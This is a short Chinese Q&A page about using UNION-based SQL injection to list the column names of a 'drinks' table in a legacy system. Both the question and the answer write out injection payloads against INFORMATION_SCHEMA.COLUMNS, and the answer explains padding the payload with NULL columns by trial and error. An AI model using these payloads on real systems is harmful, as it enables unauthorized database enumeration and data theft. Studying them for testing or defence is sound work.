无法获取数据库的列名

时间:2019-03-01 21:45:56

标签: sql sql-injection

我试图通过使用以下修改的SQL语句从旧版系统中获取列名:

 SELECT * 
 FROM drinks 
 WHERE drinkname='smirnoff' 
 UNION 
 SELECT COLUMN_NAME 
 FROM INFORMATION_SCHEMA.COLUMNS 
 WHERE TABLE_NAME = 'drinks'

但是该网页引发错误,而不是说它无法执行修改后的查询。

如何通过SQL注入获取drinks表的字段名称?

1 个答案:

答案 0 :(得分:0)

在任何UNION查询中,与UNION组合的每个SELECT的列数必须相同。换句话说,以下是错误,因为列数不同:

SELECT a, b, c FROM table1
UNION 
SELECT a, b FROM table1

进行SQL注入时,您可能不知道要利用的查询的选择列表中的列数。根据需要添加更多带有NULL的列。继续尝试,直到获得成功为止。

SELECT * FROM drinks WHERE drinkname='smirnoff' 
UNION 
SELECT COLUMN_NAME, NULL, NULL, NULL, ...
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME = 'drinks'

这似乎很乏味且容易出错。

但是实施SQL注入攻击的罪犯很有动机。